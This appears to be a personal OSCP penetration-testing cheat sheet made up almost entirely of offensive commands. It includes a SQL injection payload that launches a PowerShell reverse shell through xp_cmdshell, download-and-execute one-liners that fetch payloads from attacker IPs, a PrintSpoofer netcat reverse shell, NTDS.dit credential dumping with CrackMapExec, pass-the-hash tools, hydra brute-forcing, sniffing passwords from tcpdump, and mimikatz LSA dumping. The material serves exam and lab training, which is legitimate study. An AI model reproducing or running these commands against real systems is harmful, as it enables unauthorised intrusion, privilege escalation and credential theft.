Professional Documents
Culture Documents
Oscp
Oscp
Admin+'%3b+EXEC+xp_cmdshell+"powershell.exe+-c+IEX(New-
Object+Net.WebClient).DownloadString('http%3a//192.168.45.177/reverse.ps1')+"%3b--
TODO
File Transfer
CMD&Powershell
certutil.exe -urlcache -split -f http://192.168.45.219/Database.kdbx
Database.kdbx
Powershell
IEX (New-Object
Net.Webclient).downloadString('http://10.10.10.10/Invoke-PowershellTcp.ps1')`
iwr -uri http://192.168.45.229/met.exe -Outfile met.exe
msfvenom exec
smbclient pth
xfreerdp pth
pth-winexe (try this one after imapcket) (just type `pth` and discover the
tools we have.)
Enable stuff :
rdp : Enable-PSRemoting
winrm: winrm quickconfig
CrackMapExec
Dump the NTDS.dit from target DC
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Potatoes Syntax
JuicyPotatoNG
.\JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c
whoami"
GodPotato
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
PrintSpoofer
.\PrintSpoofer.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
ldap :
snmp :
Regular scan :
this shit.... took me a while to find this.. It will give you hidden
details ,if there is
snmpwalk -v2c -c public 192.168.206.156 NET-SNMP-EXTEND-MIB::nsExtendObjects
it works with -v1 as well
bloodhound:
Remotely: /opt/BloodHound.py/bloodhound.py -d heist.offsec -u enox -p
california -c all -ns 192.168.152.165 (no zip is created ,just upload the json
files)
Locally : ./SharpHound.exe --CollectionMethod All,GPOLocalGroup,LoggedOn
Services :
Getting all Running services
Get-Service | Where-Object -Property Status -EQ Running
OR
Get-WmiObject win32_service | Select-Object Name, State, PathName |
Where-Object {$_.State -like 'Running'}
Quick Tips :
-(Alternative to tree command) find . | sed -e "s/[^-][^\/]*\// |/g" -e "s/|\
([^ ]\)/|-\1/"
-Getting current system architecture : dpkg --print-architecture
-If you pwned a wordpress site and you uploaded your shell into 404.php
here's the curl : curl http://$ip/wp-content/themes/twentyseventeen/404.php
-If you see tcpdump is installed check the result of tcpdump via live scan.
It might include a password : sudo tcpdump -i lo -A | grep "pass"
-(bruteforcing smb via hydra) hydra -l [user] -P [wordlist]
smb://[target]/[user] (UNTESTED)
-Use /home/kali/THM/PrivESc/Windows/creddump7/pwdump.py against SAM and
SYSTEM in case secretsdump doesn't work.
Important Notes :
- If you have LFI ,you can execute php files via directory traversal.
- THIS ONE CAN SAVE YOUR 1 TIME MSF RIGHT : IF YOU'RE RUNNING MIMIKATZ WITH ADMIN
BUT STILL IT'S ERRORS OUT (example kuhl) USE : `lsadump::lsa /inject` after
privilege::debug , token::elevate. IT WORKS LIKE MAGIC